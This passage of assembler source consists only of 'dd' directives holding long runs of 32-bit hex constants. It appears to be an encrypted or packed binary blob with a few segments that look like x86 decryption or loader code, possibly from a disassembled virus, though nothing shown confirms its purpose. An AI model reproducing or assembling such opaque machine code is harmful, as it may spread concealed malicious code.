		dd 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h, 0B133AEAFh
		dd 0BB95675h, 0B4DF37D2h, 6A3949D6h, 6F0949DAh,	0ECB95922h
		dd 494FD5A7h, 0B23122D5h
		dd 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh
		dd 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh
		dd 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh
		dd 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh
		dd 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h,	0BF47C6D4h
		dd 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h,	0B4DF3793h
		dd 23CD00FBh, 0B4DF37A9h, 0BB4696E1h, 3BF9EFEh,	0B4DF377Eh
		dd 3A6446B6h, 23CD0360h, 0B4DF372Fh, 46FC7DF6h,	0CCB1080Ch
		dd 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh
		dd 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h
		dd 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh
		dd 0B132BEB5h, 306856EAh, 5C5ACB9Fh, 0B977DDBFh, 0D042D4D4h
		dd 78535343h, 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh
		dd 0D98CBCF4h, 0F4F55357h, 0B13256A5h, 4D7791AEh, 0B1325657h
		dd 3A549698h, 19B091CBh, 0B037BB8Bh, 0D7325675h, 21A2AD3Bh
		dd 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h
		dd 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh
		dd 0B1D7D258h, 333156ABh, 0B4D54198h, 53C9D6AAh, 0B1FCD27Ah
		dd 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h,	0B188D2A4h
		dd 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h
		dd 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h
		dd 19B0A935h, 0D737BBDBh, 56B248D6h, 4AB33056h,	9546BED6h
		dd 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h,	5C532E28h
		dd 0F4BB0B58h, 0CCB13752h, 343D57ABh, 0B1325783h, 0AC33EC5Eh
		dd 3A62530Dh, 5C53FEF7h, 810E6FBFh, 0A0B05905h,	3A3256AFh
		dd 563373EDh, 33B906AEh, 0B4DF377Dh, 0E9026AD3h, 0B1C8D97Ah
		dd 0BB956BAh, 0B4DF3731h, 0D05ED42Dh, 382653BAh, 0A175DF9Ch
		dd 19B0DD85h, 3A37BB8Bh, 386A6669h, 64DB5EE5h, 7632565Dh
		dd 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 5C533A50h
		dd 0DDB0D570h, 0A537BBDBh, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h
		dd 0B4DF3703h, 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h
		dd 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh
		dd 323256EAh, 0BAD9539Dh, 19A8DDE9h, 3A37BB3Ch,	186965AAh
		dd 31325657h, 773142DEh, 0B2379656h, 5C53FE68h,	0F6BB1E70h
		dd 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h, 5C53FE29h
		dd 0F6BB1ED0h, 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh
		dd 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 4FA8DCDCh, 3137BA78h
		dd 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h,	9A325657h
		dd 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh
		dd 5952AA99h, 0B13256AEh, 7ED8D70Dh, 3A37BBC1h,	5C533E6Fh
		dd 32FB65EFh, 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h
		dd 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah
		dd 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h,	0B60BAAEEh
		dd 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h
		dd 93CBDACh, 4ECDA9A8h,	0B1325312h, 5A99A5D5h, 0A14DD529h
		dd 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh
		dd 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh
		dd 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh
		dd 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B4D5553Ch, 0B222292Dh
		dd 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h
		dd 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh,	0B1DA3657h
		dd 0EB3256D5h, 0DA88BC6Bh, 0BB95398h, 0B4DF37D2h, 8EB19F6Eh
		dd 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h
		dd 32372575h, 53D9427Dh, 4ECE13D4h, 0C4CD5ADBh,	5905A95Fh
		dd 0B13256DAh, 0F4B93CA7h, 0C3356F16h, 4D77A916h, 0B1362939h
		dd 0CEB15E29h, 0B34656A2h, 4E8A58BCh, 8CDA954h,	0B13256D0h
		dd 7AD9FD19h, 0B42229F6h, 0CEB159CEh, 0A047504Dh, 0B575DDEFh
		dd 5A3E09DCh, 0B575DDB6h, 5A3E095Eh, 0B575DDF9h, 9A3E09FEh
		dd 5AB152E5h, 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh
		dd 8CDA92Ah, 0B13256EFh, 36D9FD86h, 0B9F09FDBh,	5DB9035Dh
		dd 0B977DDCEh, 0C33E136Ch, 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h
		dd 0BDF09F14h, 5DB903BAh, 0D1CE92DEh, 0B1325646h, 5BB30C57h
		dd 0B4DF3A3Bh, 6A019FE6h, 3ACE0B63h, 5C533ECFh,	0B10DD5BFh
		dd 8EB13229h, 32372351h, 40D94290h, 0B1362928h,	0CEB15EA1h
		dd 0B34656E6h, 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh
		dd 0B72229D4h, 3A7347DEh, 0EEB95292h, 3A2FBDE6h, 0EEB95232h
		dd 3A21BDB6h, 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h, 0C43146D4h
		dd 681917D4h, 0B0330A63h, 4ECDA9CDh, 0B137EF45h, 1AC1565Dh
		dd 3A53C145h, 72FBAA12h, 596107FBh, 0B13256D5h,	0AAD8D7B0h
		dd 3C37BB18h, 5C53D620h, 0B156EE58h, 63DA56AEh,	3A325657h
		dd 5AF36DA0h, 0B57955C1h, 0A64097D1h, 8A221D76h, 5A30247Bh
		dd 5A26BD5Fh, 1AA8DBBCh, 4E37B857h, 3C3ABD78h, 5F31874Fh
		dd 0EAE1A9EFh, 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh, 0DC58BC2Fh
		dd 3C5253BAh, 5C53D611h, 0B977DDD0h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 0B4D56470h, 0C2283EADh, 4CDFE62h, 0B4D57DBFh, 0CC93D3D0h
		dd 61CD5344h, 1DB8DB05h, 0E037BBCAh, 3C68862Ah,	5C53FA68h
		dd 0F1855970h, 0E3EADDB6h, 0B2686752h, 0ECB0DF6Dh, 0D037B142h
		dd 0E85251C3h, 0
		dd 0DBEA815Ah, 5205ED6Dh, 155D828Bh, 6DB905E7h,	0F741C64Eh
		dd 39055AE1h, 25000030h, 7FFFFFFFh, 155D8289h, 595A05E7h
		dd 0E85251C3h, 0
		dd 0BEA815Ah, 8B05ED6Eh, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
		dd 8BC3595Ah, 8DC08BC0h, 0ED641C85h, 66D0FF05h,	858DC18Bh
		dd 5ED6DD4h, 20598589h,	858D05E7h, 5ED6E04h, 14258589h
		dd 0B805E7h, 0B000000h,	47840FC0h, 0C6000000h, 0E732A585h
		dd 0DF685605h, 0FFA9C530h, 0E72B05B5h, 0A1858D05h, 0FF05EA7Dh
		dd 8D8D50D0h, 5E70945h,	68046A51h, 1000h, 134DB5FFh, 0D0FF05E7h
		dd 134DBD8Bh, 7F0305E7h, 0F8C7813Ch, 0C7000000h, 202447h
		dd 9D8D6000h, 5E71B41h,	0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
		dd 234CF6h, 13E8h, 0B98E0600h, 933055A7h, 0F774F613h, 425E5C89h
		dd 0F36B4087h, 6EBE6660h, 6141B6D7h, 5BA665Fh, 3BC78159h
		dd 52000069h, 0BE5BDE8Bh, 6E8070Bh, 0ECEAEE81h,	8F0F06E7h
		dd 3, 0FFCA8B66h, 0FF86037h, 5861F6B7h,	0DEB70F56h, 0E1E8815Ah
		dd 0F5B9B42h, 384h, 0BDCE8000h,	9BA7F081h, 890F1671h, 4
		dd 0A208BA66h, 438DC081h, 0BB661586h, 789172Fh,	12E8h
		dd 4ECB8200h, 0ABCBF50Dh, 2275A545h, 962CCB38h,	66CF0304h
		dd 5BA8ECBAh, 4521EF81h, 60563F3Dh, 0CABF0FF5h,	0C7815A61h
		dd 3F3D451Dh, 2830Fh, 0CE8B0000h, 88850F4Eh, 0B9FFFFFFh
		dd 26D3287Fh, 70578D8Dh, 6A05EDh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 30159C3h, 0E720559Dh
		dd 0A98D8905h, 6A05E71Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0B3F3C352h,	0A16C4490h
		dd 1A9C8C6Ch, 0C776CB80h, 0E72A4D85h, 6A7C05h, 0E5858900h
		dd 8B05E722h, 0E72CE9B5h, 3985C705h, 5E727h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 2061C356h, 27915FC9h, 8A56F0CCh, 81665FD9h
		dd 0FF1413CFh, 0E72B45B5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0CDAB1356h
		dd 5E5A39DAh, 9595FFF0h, 8905E717h, 0E70AD59Dh,	0FF006A05h
		dd 0E721C195h, 0EBC08B05h, 0F5E8C80Fh, 0CF417438h, 0DD09F82Dh
		dd 132FB9C6h, 0BE8h, 13AF4200h,	0C56A6452h, 7A964A70h
		dd 68E0Fh, 0B5290000h, 5E7033Dh, 0F99D2B59h, 8105E732h
		dd 7358C1h, 0CE800h, 9DE0000h, 0C4B1FE4Bh, 0BB2CE69h, 71BBFA60h
		dd 582CE86Dh, 1CB268h, 0F9BD8900h, 5F05E721h, 0C59D8B53h
		dd 5E05E720h, 858931FFh, 5E7194Dh, 4185315Ah, 8105E703h
		dd 0E01EF0C2h, 4EF2811Ch, 0B351B947h, 0E4EA81E6h, 8902B487h
		dd 0E7067D95h, 18F5205h, 8B03E983h, 0E7281D85h,	8B664905h
		dd 1EF83C6h, 0FFBE850Fh, 0B70FFFFFh, 9508EBF6h,	663521h
		dd 0E9000000h, 0AC7h, 0ED729C68h, 0D843E905h, 6568FFFAh
		dd 0E905ED73h, 0FFFAD839h, 0ED750468h, 0D82FE905h, 0EE68FFFAh
		dd 0E905ED75h, 0FFFAD825h, 0ED77C068h, 0D81BE905h, 6468FFFAh
		dd 0E905ED79h, 0FFFAD811h, 0ED7A7268h, 0D807E905h, 6F7FFFFAh
		dd 4C9F53E1h, 0B2BE7200h, 95DA8E1Ch, 0E7F5A937h, 0D2B4C755h
		dd 0C856E0F6h, 0E573C114h, 0FE8C2031h, 18A6184Ah, 3AE317FBh
		dd 0CA583E11h, 342612E8h, 87758582h, 0B0C7DE70h, 1EFF332Bh
		dd 0DE5E2AF1h, 1FC1D82Bh, 1BED7BCDh, 828FF7D3h,	774C585Ch
		dd 0DAD9D666h, 9CD03487h, 5BCC4C04h, 4E504D00h,	584434D3h
		dd 5F5635Bh, 0BEA7276Fh, 297Ah,	0E6088400h, 1305399Dh
		dd 0CF5BCCAAh, 41D1F1Ch, 2A58445Ah, 3ED4C432h, 57BEA6CDh
		dd 4461B769h, 5F762EF0h, 0E175h, 0FEEC7F00h, 7AC7C362h
		dd 54C9FD09h, 0A85E2B2Fh, 0E98BA2F5h, 724845F7h, 0FFD5D264h
		dd 0EFF75BEDh, 51504DE3h, 0FDEFC53Ah, 2F17063Ah, 5BE55E2Bh
		dd 1467BA0Ah, 32BDA686h, 0A6B85E2Bh, 2000CB57h,	0A206E3A0h
		dd 2B21AF6Eh, 479A4D5Eh, 61D305B9h, 2E7E7064h, 17A5B63Fh
		dd 0D90D71C4h, 5BCC251Bh, 0CDE6C1Fh, 0FB3DA1E2h, 70309B0Dh
		dd 51C578Ah, 0DB055737h, 94F8AB55h, 0EFEC5E8Ch,	0F5FDD9F0h
		dd 13C755E7h, 4C8FB6C5h, 64DC235Ch, 1CEFED30h, 95C0F5Eh
		dd 0F0AC71A5h, 9D505E1Ch, 3573174Ah, 0C65FC4CBh, 88BE2h
		dd 2492C200h, 43F1E296h, 5FF101B5h, 7AD61DD1h, 982238ECh
		dd 3915F70Ah, 570B9923h, 7428B606h, 8D41CF7Dh, 3E5BE95Bh
		dd 0FF7265Ah, 2305583Eh, 8630264Dh, 0A01244F8h,	0E4EC5412h
		dd 6D2D44F6h, 6A9E0281h, 5BCCAAAEh, 78D41D25h, 98AF1D4Eh
		dd 4B4D4AFDh, 58445AD6h, 2F26058h, 0BEA6CD6Ch, 0AA77h
		dd 34268100h, 0B9AF8582h, 5310120Fh, 2E5E2B85h,	48FC8A3Ch
		dd 0B3A7A416h, 20333B3Bh, 42989794h, 5E2B7DDBh,	0BF237629h
		dd 1A17A1B7h, 9A83B71Bh, 6A5E2B7Eh, 90C4A0B7h, 5BCC8264h
		dd 4951B568h, 8B91A814h, 787735B9h, 0E91D81D4h,	55DB32B6h
		dd 2B33974Ah, 49FD8B3Dh, 0D076A913h, 0C6C4CB54h, 7C2492Dh
		dd 5B8B0000h, 0B8AB5FEDh, 86CA7E0Ch, 0E9E69A28h, 0EB01B543h
		dd 0DEC0D361h, 0D462D402h, 0F17FCD20h, 0A98343Dh, 24B20456h
		dd 2EEF2307h, 0CE583E0Fh, 302616ECh, 1244F886h,	3D343CA0h
		dd 40B86BD2h, 0BC0F9C99h, 26E19FA5h, 75858234h,	9FC97B6Dh
		dd 0FFFEFB4Dh, 0A21446E8h, 4AC4214h, 0AE1265D3h, 0CC8B2E7Ah
		dd 88B7A55Bh, 0A11345A7h, 1B4A8D91h, 514EE2F1h,	0EDA03B52h
		dd 98D8E0F0h, 233A3936h, 4FDD6F81h, 591B7361h, 0D373F5F0h
		dd 25E23B6Fh, 6F225844h, 12A4B658h, 6F24C0AEh, 61A54F05h
		dd 5054C9FDh, 0F5A85844h, 0D96769DEh, 0D3866Fh,	0ABB3C02Eh
		dd 100F0CB8h, 0B30557F9h, 0CD7F7125h, 7152CED0h, 219FDB8Ah
		dd 3C8EE0B3h, 0BB6296D8h, 49DB8A71h, 0C5797F96h, 22242193h
		dd 1F336B52h, 3A0D7B85h, 54089628h, 3799D902h, 0EBE83B3Ah
		dd 2C90F7F7h, 0F3A2FCEAh, 9FEE4877h, 8999BE0Fh,	0A8BFCF29h
		dd 6E3132DAh, 71FFB2DEh, 11614F9Fh, 70C3C2BFh, 55CCD80Ch
		dd 7D30E313h, 0AA27E80h, 948CE0CDh, 51A03626h, 0B2AB361Eh
		dd 85000003h, 0F15A5C97h, 565552FEh, 0A70B1D46h, 0BD17E490h
		dd 14A6B4BCh, 41011817h, 3E72D6ADh, 5BCCAF7Eh, 2567CB7Eh
		dd 44502CF1h, 0F31DD058h, 565552E2h, 10D1C13Fh,	0CFD93E1Eh
		dd 0FA23571Fh, 0AD941A1h, 6CA00457h, 0D6E2C9B0h, 0B0A4A154h
		dd 0C351883Eh, 4D2BFBAAh, 5E6296FAh, 0E6DAB3EAh, 95C7CF33h
		dd 8FE19523h, 0B9A0A3Dh, 8F2849A1h, 623ABh, 8C3A2A00h
		dd 0AB194AFEh, 0C769691Dh, 0E24E8539h, 4AA054h,	0A17D5F72h
		dd 0BF73014Bh, 0DC901EAEh, 0F5A93795h, 0A6C351E3h, 0D8F8EC2h
		dd 8B6D583Eh, 9DE608B5h, 903C3139h, 0A17D9493h,	0CC8B3B6Dh
		dd 2724D75Bh, 49AD1F51h, 794AD307h, 7BA5844h, 243B95DDh
		dd 0C735E7AFh, 0B6F18D6h, 6663D503h, 40745067h,	55E58168h
		dd 0B76BF9ACh, 401613A5h, 6992C52Eh, 48924379h,	0A075A66h
		dd 3C90E10Bh, 0F0ED403Fh, 7976C81Ah, 2FFB1A3h, 837FEDD5h
		dd 8E61CF4Dh, 8B5CEA5Ch, 0B8C08AF5h, 0B21D200Eh, 0FE0764CEh
		dd 297FDE7h, 0EC070000h, 2A86F1E4h, 0B0C9FFA3h,	0B17188DBh
		dd 0AEE2463Dh, 5BC6E679h, 7C84E89Bh, 0CB131B6Ah, 0B476C8h
		dd 0B2BA96ADh, 0D08412A4h, 3133309Ah, 9BE6E241h, 679A2C3Eh
		dd 0BECF08E5h, 393418B1h, 14000005h, 34E876C0h,	53079523h
		dd 6F23B11Fh, 8A3ECC60h, 495CEA5Ch, 0EB5D8B67h,	8B4A95Dh
		dd 218BC67Ah, 3B8DDF93h, 78AC90ADh, 583E0DA5h, 89F7557h
		dd 5399DE6h, 5BC6F322h,	1E2E2BDEh, 5C73D916h, 4359A8BAh
		dd 54C59878h, 87292953h, 0E0F2A634h, 697B514Eh,	458AEF00h
		dd 98EBEAE7h, 4C499C9Bh, 0DAD76576h, 6865D304h,	0E9E5533Bh
		dd 0F4C735B3h, 0D47879E2h, 0C0151D81h, 86575D74h, 0BEAD25F0h
		dd 1D0FBh, 0AAEC0500h, 2B82A776h, 8BA2555Eh, 0E145F7E9h
		dd 2A77AFF3h, 8D8C893Bh, 0B964277Dh, 5572DA2h, 15474FB3h
		dd 9AD0A6A3h, 0A1B3DD30h, 0FC13120Fh, 0E2CA24F6h, 41403DEFh
		dd 4A568AEEh, 0BA5BCBDFh, 2D61A307h, 5843DEF0h,	0D54A6114h
		dd 43DF4ED3h, 7AE8E058h, 0A77BF48Ah, 0CE050DBEh, 42F8A9A5h
		dd 0E13426B2h, 55E0CAh,	0CCBA0000h, 236F0B1h, 5844441Bh
		dd 8A2636E9h, 59051C14h, 95C6E608h, 0D82B2A27h,	0A9D84074h
		dd 691C5BCCh, 0E61A5C6Ch, 58445A37h, 0D21D19D8h, 0A3C6D324h
		dd 0D9D13233h, 3F92E806h, 1EC75A28h, 6F675844h,	97B1101h
		dd 0D486BEA7h, 60000000h, 0B8B51B58h, 26F6A2B9h, 301E8234h
		dd 0B471788h, 99A9A8A5h, 0C6D65142h, 0AA521C85h, 0B0253CFBh
		dd 0F32A5EA0h, 115E2A9Ch, 0B7A5475Eh, 20320805h, 0F3C2A8Eh
		dd 9D96E447h, 0B68C0118h, 968412A4h, 0A42D5C8Eh, 436E3F86h
		dd 0C290A7FAh, 5E2B76A1h, 3D7B8ADCh, 1D19F2E6h,	0DCCA58ABh
		dd 1E3583D4h, 93F7905Eh, 272E5D8Bh, 6214C4E1h, 5430479Ah
		dd 6BD90A12h, 8A586F6Eh, 5BC1D097h, 4E56BA6Dh, 6C20AE18h
		dd 51E3F57Eh, 753FCBFEh, 32CBCAA6h, 3674Eh, 48F6E600h
		dd 67D506BAh, 832D25D9h, 9E3241F5h, 0BC0E5C10h,	5D391B2Eh
		dd 7B2FBD0Fh, 984CDA6Ah, 0B165F359h, 627F0DBFh,	0BD34A7Eh
		dd 4F31583Eh, 0EDE4EC79h, 5086283Fh, 0B2A458E6h, 26B47200h
		dd 20F5C534h, 15B593BEh, 0FDEFC5C2h, 0C7CFBD4Bh, 50102791h
		dd 4D81E59Eh, 5BCC9ABFh, 918CC002h, 73584446h, 5B0EA9C0h
		dd 46C35C5Eh, 0AC2A5844h, 0E2A14D3Eh, 71C24A7Eh, 0D24255E5h
		dd 9F005B2Bh, 28B609BFh, 8234266Ah, 0FF337585h,	5E2B821Eh
		dd 72142BDEh, 6E40CE60h, 9BA30780h, 7E2E234Ah, 1B582E2Bh
		dd 6F4B62B5h, 28EE3F2Dh, 0C4442CBDh, 3DC1DFADh,	8E415BCCh
		dd 26928F91h, 0A49C5844h, 35B04636h, 2CBBBEA7h,	0C5000000h
		dd 399DE608h, 82923E31h, 0E417D3D2h, 3D193066h,	0CC420F09h
		dd 2320D35Bh, 44420021h, 0C8362E58h, 0A6E542D8h, 0E84DBEh
		dd 26570000h, 161E8234h, 777673D9h, 0C715EB60h,	0A8FB519Eh
		dd 40939BABh, 0E1F8F7F4h, 93DE2D3Fh, 4DD004B0h,	0AF5E2AE5h
		dd 0F9ABECFCh, 0D7ADAAFDh, 0C5A53385h, 5E2ABE9Eh, 0A93789DBh
		dd 0F90ECDBBh, 0CAA9E6E5h, 0DBEB3266h, 66195E2Ah, 0F8BBAD4Fh
		dd 2ADC59C4h, 0CEF8AB5Eh, 2E2D2A9Ch, 4EADEDBh, 0A9DD1F83h
		dd 5E2ADC74h, 0E2BED588h, 0CBEF3EAEh, 0E2F5FD5Bh, 1AA43F56h
		dd 0BF7B78D6h, 71B485F7h, 5A84D758h, 0DA68BB09h, 399DE608h
		dd 0DA6F7205h, 57BB6E55h, 4BAF194Fh, 1048D509h,	9BC5E1Dh
		dd 2238ECF2h, 16176598h, 0C25BC4CBh, 1C3DEh, 0EC5A8A00h
		dd 0BB9AA5Eh, 2789C97Dh, 42EEE599h, 60EA00B4h, 1DDBFD2h
		dd 1FD361EBh, 3CF07ECEh, 55099735h, 623B103h, 92FEE22h
		dd 0EBCD583Eh, 86302615h, 0A01244F8h, 0E6085412h, 0E351848Ch
		dd 2B82908Dh, 0E7EA745Eh, 0F6494845h, 0F5FD3FA3h, 713F56E2h
		dd 5BCCAAA7h, 3F4BFB6Bh, 85E7CAA0h, 0E9E8E557h,	0D7DF4396h
		dd 0FFF67A81h, 29EF972Bh, 484ABFD6h, 58444CD9h,	0FFEF5D55h
		dd 0BEA6DA69h, 0C374h, 34267E00h, 0A07B9ABh, 408CE10Bh
		dd 6B8189EDh, 0CEE5E4E1h, 0E3558359h, 857FE4E6h, 687A5E2Bh
		dd 525A48D6h, 0F799B01Eh, 1D747CE5h, 0D1C8F513h, 17146795h
		dd 0D4C8C518h, 0D105691Ah, 5BCC861Bh, 1A086C1Fh, 58DB3306h
		dd 2F354CB7h, 8EF2915Dh, 0DB1F3C5Ah, 0C9897755h, 628F22B2h
		dd 0BC6F0A21h, 0DF0E1658h, 9FF24496h, 89F0E688h, 0D8D33678h
		dd 0F143951Bh, 9BD4B9Eh, 0F24492D3h, 70A3F6F5h,	0C4CAD518h
		dd 0B5FDE17Ah, 98000000h, 0B86CFA44h, 0D78B19A7h, 0F3A7359Bh
		dd 0EC250FCh, 0CDE06ED8h, 6FD90FEBh, 8C382DE1h,	0A5074AFEh
		dd 0BF716317h, 0FC301431h, 583E0821h, 262B01E3h, 44F88630h
		dd 5412A012h, 1E823426h, 4FA0C516h, 0F5B1AE01h,	44933478h
		dd 0EB15683Dh, 0BD3249E7h, 7B6CF5E7h, 1AEC7ACDh, 1B4FB3D4h
		dd 5BC67000h, 36C7A04h,	0E0B5ECEh, 0E9BFBC0Fh, 0CA7C6EF7h
		dd 0ED7BCECDh, 98952739h, 5ECC596h, 0E7C4E38h, 3397293Bh
		dd 0E6A00D45h, 7F96100Ch, 2193C579h, 0AB014E24h, 82405947h
		dd 66BC329Bh, 6012DA4Fh, 0A4CD1FF2h, 21AF02ACh,	0CCC97B6Dh
		dd 3E8h, 0FBCB7E00h, 8B883626h,	1411A3B5h, 9C99333Eh, 282597C6h
		dd 0B5B20452h, 423F89DFh, 0CCC9676Ch, 5754FAF6h, 0E5E26E81h
		dd 2BFF681Ah, 34890000h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 68242C89h, 3952h, 56240489h, 73B6BF57h
		dd 0EF813BE5h, 67BF60C8h, 5E6BC781h, 0FE8931C7h, 5EF5895Fh
		dd 8904EC83h, 4812424h,	424h, 52555800h, 70166BBAh, 24542913h
		dd 408F5A04h, 8408108h,	1370166Bh, 5724048Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4835D24h,	0CD8FE904h
		dd 0CC45FFFAh, 4890A78Eh, 0B887386Eh, 5ED7B4Ch,	0E0FFC503h
		dd 1358DBB9h, 78658642h, 17373788h, 487619C8h, 3A371889h
		dd 0FBE6B5Fh, 45D4A751h, 45DD921Eh, 2868D506h, 5A1665EEh
		dd 6DCC1F5Ch, 44A65895h, 138FD70Fh, 8C0EDEBh, 59DBCCD6h
		dd 7BED9A61h, 59F271CDh, 38FCA828h, 3BE167D6h, 7B528B70h
		dd 20083CB5h, 4EACD0E8h, 0FEBA958h, 47CB7D3Ch, 5C41E68Bh
		dd 5C3CB14Bh, 547F9AA0h, 4635BCA5h, 8EBh, 0E84A0000h, 45E9570Dh
		dd 68000005h, 5ED7D8Ah,	0FA0422E9h, 7DF568FFh, 18E905EDh
		dd 68FFFA04h, 5ED7FA2h,	0FA040EE9h, 7B9E46FFh, 0C46595E5h
		dd 1207DE2Eh, 5DD42C7Ch, 0A58477C7h, 6A8DF60Fh,	0B2029891h
		dd 0FF4FE54Ch, 49992F02h, 10E57BB6h, 50260AF7h,	0C8AE5A7Fh
		dd 0F435C643h, 4FB0BEA7h, 619EAAE2h, 50B67B86h,	0B3978499h
		dd 3B5491D3h, 8CDEF81Fh, 0E1471F05h, 9ACDB7A9h,	8E6D7B32h
		dd 7EB64E9Bh, 0BB137E6Bh, 4D1B5177h, 0BD5F3F00h, 0F4FA5A79h
		dd 16C973E6h, 0F409409Bh, 79CA2307h, 9F8CAB5Ah,	5A79C9BBh
		dd 0D70F7543h, 36E65h, 1C571000h, 0E49B0D36h, 0D3FEE2CFh
		dd 73885491h, 0FE3604B6h, 32C8D6EBh, 75B447F7h,	0E20F523Dh
		dd 84925176h, 896BB861h, 1951B772h, 4FD03D0Bh, 0AFDBE768h
		dd 7E35A7D0h, 0C3744A91h, 0AFFCCA54h, 0E1980033h, 0B9062BD3h
		dd 0E9D6E921h, 5AAA8C33h, 1C2EE5B3h, 0CC3E794Eh, 0ECD0BDD7h
		dd 7463ABF3h, 6E9040A6h, 0A6DE76C3h, 697A8593h,	629397E3h
		dd 64FA60CBh, 2246EB14h, 0DBBCB64Ah, 6321C5A2h,	50000003h
		dd 9FEF8594h, 0E838CE5Bh, 36861CFDh, 81D167CAh,	19AF7Ah
		dd 0A2877497h, 0EF42BC0Ch, 39F80959h, 85AC53A3h, 14011AEFh
		dd 5A7F5130h, 2C4DD2B8h, 0EDDA91FBh, 517CAFDAh,	485D14E2h
		dd 216EAB3Ah, 0B6455189h, 37AEBC73h, 68B8AAE2h,	0D1DF9693h
		dd 1DB5022Fh, 127B3CE5h, 1CB15BAAh, 4C2A4EE3h, 0B4E4E975h
		dd 2F833D7h, 29BB0000h,	0F00A5AF0h, 9253A339h, 5FA1F187h
		dd 0FEC3CD2h, 26B841Ah
		dd 770D1CDFh, 0C45AD727h, 0EA48D74h, 5AF041BEh,	9B7F6C85h
		dd 235A7F50h, 0FB2CB83Dh, 0DAEDDA91h, 0E2517CAFh, 50F2D6C3h
		dd 17785A7Fh, 0A177E7D7h, 6FD5A355h, 29816122h,	0C71C5A7Fh
		dd 0D356A4B2h, 7F296044h, 0E21AE85Ah, 0F39DC81Eh, 0D44091AEh
		dd 217h, 0A15A687Dh, 14A33B88h,	5A7F3230h, 0A1B2EAB8h
		dd 4DAE39C6h, 91F78FDCh, 949D6244h, 79E314FEh, 0E076D5C2h
		dd 28F65176h, 0E13A1ADBh, 80D55A78h, 19F0D6Eh, 144CB10Eh
		dd 25CFBA50h, 6409BBEh,	63h, 885FA1AFh,	855BB76h, 0F157DA26h
		dd 0B1BFA8B9h, 3C29E049h, 5491D358h, 34DA12E0h,	0F5E29903h
		dd 5176FC2Eh, 0D293E0AEh, 5A78FBF2h, 58A58C74h,	58A58476h
		dd 38374472h, 0FF6B4469h, 0B14855A3h, 82974E5Ch, 0A1659D35h
		dd 4F76204Bh, 0A8B6409Bh, 2EA0D859h, 105h, 0F1D5C2D7h
		dd 795A7992h, 0BF6273ABh, 0D3D9BDAAh, 93615491h, 8BEDFBDFh
		dd 0A3DB76F9h, 807F6897h, 1CCC64B1h, 6B0350C9h,	25D6B805h
		dd 2AD5B704h, 4E3B5007h, 5492546Ah, 8D7424F2h, 87BF57A4h
		dd 2E03FCDEh, 89A86577h, 46939E60h, 5210FAAEh, 0D908FA32h
		dd 54927D4Fh, 0B941A659h, 743D2370h, 0BCF70852h, 0DBB6FD5h
		dd 0FC89013Ch, 0E5CF65CBh, 7E934AB2h, 91DEAD91h, 2F673554h
		dd 5F9071Ch, 0C6131EE2h, 0E37BC82Eh, 6CE0C0ABh,	92605178h
		dd 0B12ECDDBh, 0E47AE049h, 9EC26794h, 0E4ED34E2h, 4BA94D2Ah
